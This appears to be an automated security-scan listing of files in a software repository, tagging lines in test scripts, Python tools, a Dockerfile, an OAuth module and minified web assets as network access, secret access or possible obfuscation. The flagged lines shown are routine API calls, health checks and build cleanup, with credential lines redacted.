- Executable scriptline 1
#!/usr/bin/env bash
tests/min/triage-router.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 26
[Credential-related source omitted] - Network accessline 67
git -C "$REPO" add calc.ts calc.test.ts bunfig.toml git -C "$REPO" commit -q -m base git -C "$REPO" remote add origin https://github.com/example/calc.git - Network accessline 68
git -C "$REPO" commit -q -m base git -C "$REPO" remote add origin https://github.com/example/calc.git } - Network accessline 69
git -C "$REPO" remote add origin https://github.com/example/calc.git - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Network accessline 165
trap 'kill "$JPID" 2>/dev/null; _min_cleanup' EXIT for _ in $(seq 1 50); do [ -s "$T/jira.port" ] && break; python3 -I -c 'import time; time.sleep(0.1)'; done export JIRA_BASE_URL="http://127.0.0.1:$(cat "$T/jira.port" 2>/dev/null)" JIRA_EM - Network accessline 166
[Credential-related source omitted] - Network accessline 167
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Access to secretsline 181
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Network accessline 207
for (const i of items) { const t = triageItem({ title: i.title, body: i.body, labels: i.labels, split: false }); console.log(i.key + " " + t.class + " | " + t.reason); }' 2>&1)" printf '%s\n' "$LIN" | sed 's/^/ linear: /' has "linear: li - Network accessline 208
printf '%s\n' "$LIN" | sed 's/^/ linear: /' has "linear: lists one team's open items" "$LIN" 'request https://api.linear.app/graphql auth=lin_fixture filter={"team":{"key":{"eq":"ENG"}},"state":{"type":{"nin":["completed","canceled"]}}}' - Network accessline 209
has "linear: lists one team's open items" "$LIN" 'request https://api.linear.app/graphql auth=lin_fixture filter={"team":{"key":{"eq":"ENG"}},"state":{"type":{"nin":["completed","canceled"]}}}' - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 214
[Credential-related source omitted]
tests/min/typecheck.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/version-consistency.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/test-plugin-json-current.sh
tests/test-server-json-current.sh
tools/audit-docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Network accessline 153
# # A loose cue was tried first and produced three false findings: an IP address # (127.0.0.1 in "http://127.0.0.1:57374") and two historical mentions on lines - Network accessline 154
# A loose cue was tried first and produced three false findings: an IP address # (127.0.0.1 in "http://127.0.0.1:57374") and two historical mentions on lines # beginning with "#" inside fenced shell blocks. Anchoring on the claim phrase - Network accessline 155
# (127.0.0.1 in "http://127.0.0.1:57374") and two historical mentions on lines
tools/baseline-pin.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/bench_cross_project_lift.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/bench_memory_retrieval.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/calibration-audit.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/ci-gate.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/cost-attribute.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/cost-forecast.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/cost-guard.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/cost-history.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/cost-per-outcome.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/estimate-run.py
tools/gate-badge.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/gate-explain.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/gate-init.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/gate-log.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/gate-report.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/gate-status.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/gate-trend.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/hybrid_search.py
tools/index-codebase.py
tools/model-advisor.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/normalize-package-permissions.mjs
- Executable scriptline 1
Executable file
tools/outcome-canary-evaluate.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/outcome-canary-observe.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/outcome-canary-receipt-verify.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/outcome-canary-receipt.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/outcome-canary.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/outcome-router.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/policy-diff.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/policy-load.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/preflight.sh
tools/probe-model-catalog.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 40
SOURCES: dict[str, list[str]] = { "claude": [ "https://docs.claude.com/en/about-claude/models/overview", - Network accessline 41
"claude": [ "https://docs.claude.com/en/about-claude/models/overview", ], - Network accessline 42
"https://docs.claude.com/en/about-claude/models/overview", - Network accessline 46
USER_AGENT = ( "loki-mode-model-probe/1.0 " "(+https://github.com/asklokesh/loki-mode)" - Network accessline 47
"loki-mode-model-probe/1.0 " "(+https://github.com/asklokesh/loki-mode)" ) - Network accessline 48
"(+https://github.com/asklokesh/loki-mode)" - Network accessline 52
def fetch(url: str, timeout: int = 30) -> str: - Network accessline 53
req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT}) - Network accessline 54
with urllib.request.urlopen(req, timeout=timeout) as resp: - Network accessline 85
for url in SOURCES.get(provider, []): try: body = fetch(url) - Network accessline 86
try: body = fetch(url) except urllib.error.URLError as exc: - Network accessline 87
body = fetch(url)
tools/proof-passport.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/receipt-attest.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/receipt-bundle.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/receipt-diff.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/receipt-export.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/receipt-find.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/receipt-stats.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/receipt-verify-batch.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/regen-state-machine-refs.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/run-replay.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/token-guard.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/tool-index.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/verification-tax.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/verify-chain.py
- Executable scriptline 1
#!/usr/bin/env python3
tools/verify-demo.sh
vendor/autonomi-verify/embed.js
- Executable scriptline 1
#!/usr/bin/env bun - Possible obfuscationline 3
function D(j){let z=new Set;for(let A of[j.committed,j.unstaged,j.staged,j.untracked])for(let J of A){if(J==="")continue;if(/^\.loki\//.test(J))continue;z.add(J)}return z.size}function Z(j){let z=!1,A=0,J=!1,K="";if(!j.diff.is_git_repo)J=!0
web-app/Dockerfile
- Executable scriptline 1
Executable file - Dangerous shell operationline 22
RUN apt-get update && apt-get install -y --no-install-recommends bash curl git && rm -rf /var/lib/apt/lists/* - Network accessline 22
RUN apt-get update && apt-get install -y --no-install-recommends \ bash \ curl \ - Network accessline 23
bash \ curl \ git \ - Network accessline 24
curl \ - Dangerous shell operationline 26
&& rm -rf /var/lib/apt/lists/* - Network accessline 58
HEALTHCHECK --interval=10s --timeout=5s --start-period=15s --retries=3 \ CMD curl -f http://localhost:57375/health || exit 1 - Network accessline 59
CMD curl -f http://localhost:57375/health || exit 1
web-app/auth.py
- Executable scriptline 1
Executable file - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 189
async with httpx.AsyncClient(timeout=10.0) as client: - Network accessline 191
token_resp = await client.post( "https://github.com/login/oauth/access_token", - Network accessline 192
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 203
[Credential-related source omitted] - Network accessline 209
user_resp = await client.get( "https://api.github.com/user", - Network accessline 210
"https://api.github.com/user", - Access to secretsline 211
[Credential-related source omitted] - Network accessline 218
email_resp = await client.get( "https://api.github.com/user/emails", - Network accessline 219
"https://api.github.com/user/emails", - Access to secretsline 220
[Credential-related source omitted] - Network accessline 240
async with httpx.AsyncClient(timeout=10.0) as client: - Network accessline 241
token_resp = await client.post( "https://oauth2.googleapis.com/token", data={ - Network accessline 242
"https://oauth2.googleapis.com/token", - Access to secretsline 246
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 254
[Credential-related source omitted] - Network accessline 259
user_resp = await client.get( "https://www.googleapis.com/oauth2/v2/userinfo", - Network accessline 260
"https://www.googleapis.com/oauth2/v2/userinfo", - Access to secretsline 261
[Credential-related source omitted]
web-app/crypto.py
web-app/deploy/k8s/purple-lab/secret.yaml
web-app/dist/assets/AdminPage-0bmzFL_H.js
- Executable scriptline 1
Executable file - Possible obfuscationline 31
*/const Je=[["circle",{cx:"15",cy:"12",r:"3",key:"1afu0r"}],["rect",{width:"20",height:"14",x:"2",y:"5",rx:"7",key:"g7kal2"}]],Ye=L("toggle-right",Je);function R({children:s}){return e.jsxs("p",{className:"text-sm text-[#939084] py-4",child - Possible obfuscationline 32
`),ke=new Blob([S],{type:"text/csv"}),ee=URL.createObjectURL(ke),H=document.createElement("a");H.href=ee,H.download=`audit-log-${new Date().toISOString().split("T")[0]}.csv`,H.click(),URL.revokeObjectURL(ee)},[B]),ve=x.useCallback(async()=>
web-app/dist/assets/Avatar-CCOnr1Br.js
- Executable scriptline 1
Executable file - Possible obfuscationline 11
*/const d=[["path",{d:"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2",key:"1yyitq"}],["circle",{cx:"9",cy:"7",r:"4",key:"nufk8"}],["line",{x1:"19",x2:"19",y1:"8",y2:"14",key:"1bvyxn"}],["line",{x1:"22",x2:"16",y1:"11",y2:"11",key:"1shjgl"}]],p=
web-app/dist/assets/Badge-OabKAhBk.js
- Executable scriptline 1
Executable file
web-app/dist/assets/Button-Pb6cYL9O.js
- Possible obfuscationline 1
import{r as p,j as t}from"./index-DOUc1fHo.js";const m={primary:"bg-[#553DE9] text-white hover:bg-[#4432c4] shadow-button rounded-btn",secondary:"border border-[#553DE9] text-[#553DE9] hover:bg-[#E8E4FD] bg-transparent rounded-btn",ghost:"t - Executable scriptline 1
Executable file
web-app/dist/assets/CockpitPage-C42HXGgd.js
- Executable scriptline 1
Executable file - Possible obfuscationline 41
*/const mt=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:" - Possible obfuscationline 42
`);let r=null;for(const u of n){const o=u.trim();if(!o)continue;const m=o.match(/^#{1,3}\s+(.*)$/);if(m){r=m[1].trim();break}if(!o.startsWith("---")){r=o.length>200?`${o.slice(0,200)}...`:o;break}}const a=[];let c=!1;for(const u of n){const - Possible obfuscationline 44
${v.files.map(M=>`${M.action.padEnd(7)} ${M.path} +${M.additions} -${M.deletions}`).join( `)}`)).catch(v=>b(v instanceof Error?v.message:"Preview failed")).finally(()=>o(null)))}return e.jsxs("section",{"aria-label":"Actions",className:"p- - Possible obfuscationline 45
`)}`)).catch(v=>b(v instanceof Error?v.message:"Preview failed")).finally(()=>o(null)))}return e.jsxs("section",{"aria-label":"Actions",className:"p-4 sm:p-5",children:[e.jsx("h2",{className:"text-small uppercase tracking-wide text-muted-ac - Possible obfuscationline 46
`)})})]})]})}const re={neutral:"bg-hover text-secondary dark:bg-dark-hover dark:text-dark-ink",running:"bg-primary/10 text-primary",warning:"bg-warning/10 text-ink dark:text-dark-ink",danger:"bg-danger/10 text-danger",success:"bg-success/10 - Possible obfuscationline 47
`)})]})}const ae=[{keys:"g then 1",action:"Go to progress",id:"region-progress"},{keys:"g then 2",action:"Go to changes",id:"region-changes"},{keys:"g then 3",action:"Go to evidence",id:"region-evidence"},{keys:"g then 4",action:"Go to acti
web-app/dist/assets/ComparePage-CzTHDUhY.js
- Possible obfuscationline 1
import{r as o,j as e}from"./index-DOUc1fHo.js";function f({value:l,prefix:t="",suffix:s=""}){const[u,n]=o.useState(0),c=o.useRef(0);return o.useEffect(()=>{const a=c.current,h=l-a;if(h===0)return;const i=600,d=performance.now();function r(b - Executable scriptline 1
Executable file
web-app/dist/assets/ErrorBoundary-iEMh3HfQ.js
- Executable scriptline 1
Executable file - Possible obfuscationline 16
*/const d=[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}]],f=o("square",d);function m({error:r}){const[t,s]=a.useState(!1);return r?e.jsxs("div",{className:"mt-3 text-left w-full max-w-sm mx-auto",children:[e.jsxs("button
web-app/dist/assets/EvidenceReceiptPanel-tsCWt07q.js
web-app/dist/assets/GitHubIssuesPanel-Dynw9316.js
- Executable scriptline 1
Executable file - Possible obfuscationline 6
*/const U=[["path",{d:"M12.586 2.586A2 2 0 0 0 11.172 2H4a2 2 0 0 0-2 2v7.172a2 2 0 0 0 .586 1.414l8.704 8.704a2.426 2.426 0 0 0 3.42 0l6.58-6.58a2.426 2.426 0 0 0 0-3.42z",key:"vktsd0"}],["circle",{cx:"7.5",cy:"7.5",r:".5",fill:"currentCol - Possible obfuscationline 7
`),a=[];for(let t=0;t<r.length;t++){const l=r[t];if(/^\s*[-*]\s/.test(l)){const c=l.replace(/^\s*[-*]\s/,"");a.push(e.jsx("li",{className:"ml-4 list-disc text-xs text-secondary leading-relaxed",children:M(c)},t));continue}if(l.trim()===""){
web-app/dist/assets/GitHubPRsPanel-cQ-fQo3W.js
- Possible obfuscationline 1
import{c as I,r as c,a as b,j as e,G as me,A as ue,S as Z,k as ee,m as pe,h as he,p as fe,X as te,M as be}from"./index-DOUc1fHo.js";import{B as y}from"./Button-Pb6cYL9O.js";import{C as ge}from"./chevron-left-L1ARkN2A.js";import{G as P}from" - Executable scriptline 1
Executable file - Possible obfuscationline 16
*/const Ce=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"M9.1 9a3 3 0 0 1 5.82 1c0 - Possible obfuscationline 17
`),x=(n=l[0])==null?void 0:n.match(/a\/(.+?) b\/(.+)/),g=x?x[2]:"unknown";let w=0,v=0;const C=[];let s=null,u=0,h=0;for(let k=1;k<l.length;k++){const m=l[k],N=m.match(/^@@\s+-(\d+)(?:,\d+)?\s+\+(\d+)(?:,\d+)?\s+@@(.*)/);if(N){s={header:m,li
web-app/dist/assets/HomePage-mHgVLI9j.js
- Executable scriptline 1
Executable file - Possible obfuscationline 11
*/const ft=[["path",{d:"M5.8 11.3 2 22l10.7-3.79",key:"gwxi1d"}],["path",{d:"M4 3h.01",key:"1vcuye"}],["path",{d:"M22 8h.01",key:"1mrtc2"}],["path",{d:"M15 2h.01",key:"1cjtqr"}],["path",{d:"M22 20h.01",key:"1mrys2"}],["path",{d:"m22 2-2.24. - Possible obfuscationline 12
`).find(c=>c.trim().length>0)||null;return e.jsxs("div",{className:"min-h-screen bg-[#FAF9F6] relative",children:[e.jsx("div",{className:"pattern-nodes"}),e.jsx("div",{className:"max-w-[1920px] mx-auto px-6 py-6 relative z-10",children:i?e.
web-app/dist/assets/LoginPage-BCsBRGUT.js
- Possible obfuscationline 1
import{a0 as r,u as o,r as c,j as e}from"./index-DOUc1fHo.js";function x(){const{user:l,loading:t,login:i,isLocalMode:n}=r(),s=o();return c.useEffect(()=>{!t&&(l||n)&&s("/",{replace:!0})},[l,t,n,s]),t?e.jsx("div",{className:"h-screen bg-[#F - Executable scriptline 1
Executable file
web-app/dist/assets/MagicPage-NPSBAxfc.js
- Executable scriptline 1
Executable file - Possible obfuscationline 31
*/const he=[["path",{d:"M3 5h.01",key:"18ugdj"}],["path",{d:"M3 12h.01",key:"nlz23k"}],["path",{d:"M3 19h.01",key:"noohij"}],["path",{d:"M8 5h13",key:"1pao27"}],["path",{d:"M8 12h13",key:"1za7za"}],["path",{d:"M8 19h13",key:"m83p4d"}]],pe=C
web-app/dist/assets/MetricsPage-DE5BYswy.js
- Executable scriptline 1
Executable file - Possible obfuscationline 6
*/const Q=[["path",{d:"M13.744 17.736a6 6 0 1 1-7.48-7.48",key:"bq4yh3"}],["path",{d:"M15 6h1v4",key:"11y1tn"}],["path",{d:"m6.134 14.768.866-.5 2 3.464",key:"17snzx"}],["circle",{cx:"16",cy:"8",r:"6",key:"14bfc9"}]],X=U("coins",Q),o={top:2
web-app/dist/assets/NotFoundPage-ChakqXtu.js
- Executable scriptline 1
Executable file
web-app/dist/assets/ProjectPage-9CEnUXvW.css
- Network accessline 2
* Copyright (c) 2014 The xterm.js authors. All rights reserved. * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License) * https://github.com/chjj/term.js - Network accessline 3
* Copyright (c) 2012-2013, Christopher Jeffrey (MIT License) * https://github.com/chjj/term.js * @license MIT - Network accessline 4
* https://github.com/chjj/term.js - Network accessline 25
* Originally forked from (with the author's permission): * Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ - Network accessline 26
* Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ * Copyright (c) 2011 Fabrice Bellard - Network accessline 27
* http://bellard.org/jslinux/
web-app/dist/assets/ProjectPage-BCv8qSrj.js
- Executable scriptline 1
Executable file - Possible obfuscationline 2
var ca=e=>{throw TypeError(e)};var ha=(e,t,s)=>t.has(e)||ca("Cannot "+s);var Ks=(e,t,s)=>(ha(e,t,"read from private field"),s?s.call(e):t.get(e)),da=(e,t,s)=>t.has(e)?ca("Cannot add the same private member more than once"):t instanceof Weak - Possible obfuscationline 163
In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function ga(e,t){var s=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);t&&(i=i.filter(function(n){return Object.getOw - Network accessline 171
For more please check the link https://github.com/suren-atoyan/monaco-loader#config `},ya=jf(Lf)(bc),Pf={config:Df},Mf=function(){for(var t=arguments.length,s=new Array(t),i=0;i<t;i++)s[i]=arguments[i];return function(n){return s.reduceRi - Possible obfuscationline 172
`},ya=jf(Lf)(bc),Pf={config:Df},Mf=function(){for(var t=arguments.length,s=new Array(t),i=0;i<t;i++)s[i]=arguments[i];return function(n){return s.reduceRight(function(o,a){return a(o)},n)}};function yc(e,t){return Object.keys(t).forEach(fun - Network accessline 179
* Originally forked from (with the author's permission): * Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ - Network accessline 180
* Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ * Copyright (c) 2011 Fabrice Bellard - Network accessline 181
* http://bellard.org/jslinux/ - Possible obfuscationline 183
*/var Kc=Object.defineProperty,op=Object.getOwnPropertyDescriptor,ap=(e,t)=>{for(var s in t)Kc(e,s,{get:t[s],enumerable:!0})},Ce=(e,t,s,i)=>{for(var n=i>1?void 0:i?op(t,s):t,o=e.length-1,a;o>=0;o--)(a=e[o])&&(n=(i?a(t,s,n):a(n))||n);return - Possible obfuscationline 189
`+e.stack):e},0)}}addListener(e){return this.listeners.push(e),()=>{this._removeListener(e)}}emit(e){this.listeners.forEach(t=>{t(e)})}_removeListener(e){this.listeners.splice(this.listeners.indexOf(e),1)}setUnexpectedErrorHandler(e){this.u - Possible obfuscationline 190
`).slice(2).join( `))}},Bp=class extends Error{constructor(e,t){super(e),this.name="ListenerLeakError",this.stack=t}},Tp=class extends Error{constructor(e,t){super(e),this.name="ListenerRefusalError",this.stack=t}},zp=0,Or=class{constructor - Possible obfuscationline 191
[Credential-related source omitted] - Possible obfuscationline 192
`)})),this._register(this._bufferService.onResize(()=>this.queueSync())),this._register(this._bufferService.buffers.onBufferActivate(()=>{this._latestYDisp=void 0,this.queueSync()})),this._register(this._bufferService.onScroll(()=>this._syn - Possible obfuscationline 197
",e.SSA="<U+0086>",e.ESA="<U+0087>",e.HTS="<U+0088>",e.HTJ="<U+0089>",e.VTS="<U+008A>",e.PLD="<U+008B>",e.PLU="<U+008C>",e.RI="<U+008D>",e.SS2="<U+008E>",e.SS3="<U+008F>",e.DCS="<U+0090>",e.PU1="<U+0091>",e.PU2="<U+0092>",e.STS="<U+0093>",e.CCH="<U+0094>",e.MW="<U+0095>",e.SPA="<U+0096>",e.EPA="<U+0097>",e.SOS="<U+0098>",e.SGCI="<U+0099>",e.SCI="<U+009A>",e.CSI="<U+009B>",e.ST="<U+009C>",e.OSC="<U+009D>", - Possible obfuscationline 198
`: `)}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestA - Possible obfuscationline 199
`)}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnim - Possible obfuscationline 200
`))),this._register(this._terminal.onA11yTab(o=>this._handleTab(o))),this._register(this._terminal.onKey(o=>this._handleKey(o.key))),this._register(this._terminal.onBlur(()=>this._clearLiveRegion())),this._register(this._renderService.onDim - Possible obfuscationline 201
`&&(this._liveRegionLineCount++,this._liveRegionLineCount===Ll+1&&(this._liveRegion.textContent+=gn.get())))}_clearLiveRegion(){this._liveRegion.textContent="",this._liveRegionLineCount=0}_handleKey(e){this._clearLiveRegion(),new RegExp("\\ - Network accessline 209
* Originally forked from (with the author's permission): * Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ - Network accessline 210
* Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ * Copyright (c) 2011 Fabrice Bellard - Network accessline 211
* http://bellard.org/jslinux/ - Possible obfuscationline 213
*/var px=2,_x=1,gx=class{activate(e){this._terminal=e}dispose(){}fit(){let e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;let t=this._terminal._core;(this._terminal.rows!==e.rows||this._terminal.cols! - Network accessline 220
* Originally forked from (with the author's permission): * Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ - Network accessline 221
* Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ * Copyright (c) 2011 Fabrice Bellard - Network accessline 222
* http://bellard.org/jslinux/ - Possible obfuscationline 224
*/var xx=class{constructor(e,t,s,i={}){this._terminal=e,this._regex=t,this._handler=s,this._options=i}provideLinks(e,t){let s=bx.computeLink(e,this._regex,this._terminal,this._handler);t(this._addCallbacks(s))}_addCallbacks(e){return e.map( - Possible obfuscationline 227
\x1B[33m-- Terminal disconnected. Reconnecting in ${(y/1e3).toFixed(0)}s (attempt ${x+1}/${Ml})... --\x1B[0m`),a.current=setTimeout(()=>{c.current&&f()},y)},g.onerror=()=>{}},[e,l]);return d.useEffect(()=>{c.current=!0,h.current=0;const m=s - Network accessline 229
placeholder:text-muted disabled:opacity-50`})]}),r.jsxs("div",{className:"flex items-center justify-between gap-2",children:[r.jsxs("a",{href:e.tokenUrl,target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 tex - Possible obfuscationline 229
placeholder:text-muted disabled:opacity-50`})]}),r.jsxs("div",{className:"flex items-center justify-between gap-2",children:[r.jsxs("a",{href:e.tokenUrl,target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 tex - Possible obfuscationline 231
This will revert files to this checkpoint state.`))){c(_);try{await V.restoreCheckpoint(e,_),await u(),t==null||t()}catch{m("Failed to restore checkpoint")}c(null)}},[e,s,a,u,t]);if(n)return r.jsxs("div",{className:"flex items-center gap-2 - Network accessline 232
Project: ${f.substring(0,100)}${f.length>100?"...":""}`:"", https://autonomi.dev`].filter(Boolean).join( - Possible obfuscationline 232
Project: ${f.substring(0,100)}${f.length>100?"...":""}`:"", https://autonomi.dev`].filter(Boolean).join( `);try{await navigator.clipboard.writeText(v),p(!0),setTimeout(()=>p(!1),2e3)}catch{}},[l,h,f]);if(!e)return null;const x=wv(t),y=x.ico - Network accessline 233
https://autonomi.dev`].filter(Boolean).join(` - Possible obfuscationline 234
`);try{await navigator.clipboard.writeText(v),p(!0),setTimeout(()=>p(!1),2e3)}catch{}},[l,h,f]);if(!e)return null;const x=wv(t),y=x.icon;return r.jsxs("div",{className:"flex items-center gap-3 px-3 py-1 bg-card border-t border-border text-[ - Possible obfuscationline 237
`,children:[m.label,r.jsx(io,{size:10,className:"opacity-50"})]},`${m.label}-${u}`))})]})}function as(e,t){if(e.length===0)return e;const s=[...e],i=s[s.length-1];return s[s.length-1]={...i,...t(i)},s}function Vl(e,t){return e||(typeof t!=" - Possible obfuscationline 238
`))n.startsWith("__FILE_CHANGE__")?s.push(n.replace("__FILE_CHANGE__","")):n.startsWith("__COMMAND__")?i.push(n.replace("__COMMAND__","")):t.push(n);return{textLines:t,fileChanges:s,commands:i}}function Av({msgIndex:e}){const[t,s]=d.useStat - Possible obfuscationline 244
`).length} lines)`}),n&&n.fileChanges.length>0&&r.jsxs("div",{className:"mt-2 pt-2 border-t border-border",children:[r.jsxs("span",{className:"text-[11px] text-muted font-semibold uppercase flex items-center gap-1",children:[r.jsx(ee,{size: - Network accessline 245
[cancelled]`}:{})),(B=D.current)==null||B.focus()},[e]),ue=d.useCallback(async B=>{var Ke;let G=0,ae;do{if(await new Promise(be=>setTimeout(be,2e3)),ae=await V.chatPoll(e,B),G++,ae.output_lines.length>0){const be=ae.output_lines.join(` `);o - Network accessline 247
`),ae.returncode),filesChanged:ae.files_changed,returncode:ae.returncode}:{})),((Ke=ae.files_changed)==null?void 0:Ke.length)>0&&s&&s(ae.files_changed)},[e,s]),De=d.useCallback(async B=>{var G;const J=new AbortController;L.current=J,U.curre - Possible obfuscationline 249
`);$e=qe.pop()||"";for(const is of qe){if(!is.trim())continue;const Ze=is.split( `);let Ss="",Dt="";for(const Ve of Ze)Ve.startsWith("event:")?Ss=Ve.slice(6).trim():Ve.startsWith("data:")&&(Dt=Ve.slice(5).trim());if(Ss==="output"&&Dt)try{co - Possible obfuscationline 251
`+Ve:Ve}:{}))}catch{}else if(Ss==="complete"&&Dt)try{const{returncode:Ve,files_changed:Ge}=JSON.parse(Dt);o(Qe=>as(Qe,Rt=>Rt.role==="system"&&Rt.isStreaming?{isStreaming:!1,filesChanged:Ge,returncode:Ve,content:Vl(Rt.content,Ve)}:{})),(Ge== - Possible obfuscationline 252
`);u==null||u(N)};return r.jsxs("div",{className:`card overflow-hidden ${g}`,children:[r.jsxs("button",{onClick:()=>_(!p),className:"w-full flex items-center justify-between px-4 py-3 hover:bg-hover/30 transition-colors",children:[r.jsxs("d - Possible obfuscationline 253
text-primary hover:bg-primary/5 rounded-card transition-colors`,children:[r.jsx(xc,{size:12}),"Share Insights"]})})]})]})}const Zv=800,Gl=[1,2,5];function Qv(e){const t=new Date(e);return e&&!Number.isNaN(t.getTime())?t.toLocaleTimeString() - Possible obfuscationline 258
group cursor-pointer`,children:[r.jsx(ee,{size:14,className:T(L.path)}),r.jsxs("div",{className:"flex-1 min-w-0",children:[r.jsx("div",{className:"text-xs font-medium text-ink group-hover:text-primary transition-colors truncate",children:L. - Possible obfuscationline 259
`).length))},[a]),Sd=d.useCallback(b=>{w.current=b;const $=b;if($!=null&&$.onDidChangeCursorPosition&&$.onDidChangeCursorPosition(W=>{ed({line:W.position.lineNumber,column:W.position.column})}),$!=null&&$.getModel){const W=$.getModel();W!=n - Network accessline 260
`)})]}),te.port&&!(H!=null&&H.running)&&r.jsxs("p",{className:"text-xs text-muted",children:["Server will run on port ",te.port]})]}):r.jsx("div",{className:"flex-1 flex items-center justify-center text-muted text-sm",children:Xl(Vo)})]})}) - Possible obfuscationline 260
`)})]}),te.port&&!(H!=null&&H.running)&&r.jsxs("p",{className:"text-xs text-muted",children:["Server will run on port ",te.port]})]}):r.jsx("div",{className:"flex-1 flex items-center justify-center text-muted text-sm",children:Xl(Vo)})]})})
web-app/dist/assets/ProjectsPage-D7t3kXi1.js
- Executable scriptline 1
Executable file - Possible obfuscationline 6
*/const Y=[["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}],["circle",{cx:"12",cy:"5",r:"1",key:"gxeob9"}],["circle",{cx:"12",cy:"19",r:"1",key:"lyex9k"}]],V=T("ellipsis-vertical",Y),q={none:"p-0",sm:"p-3",md:"p-4",lg:"p-6"};function H({hove
web-app/dist/assets/SettingsPage-DWcOoseJ.js
- Executable scriptline 1
Executable file - Possible obfuscationline 6
[Credential-related source omitted] - Possible obfuscationline 10
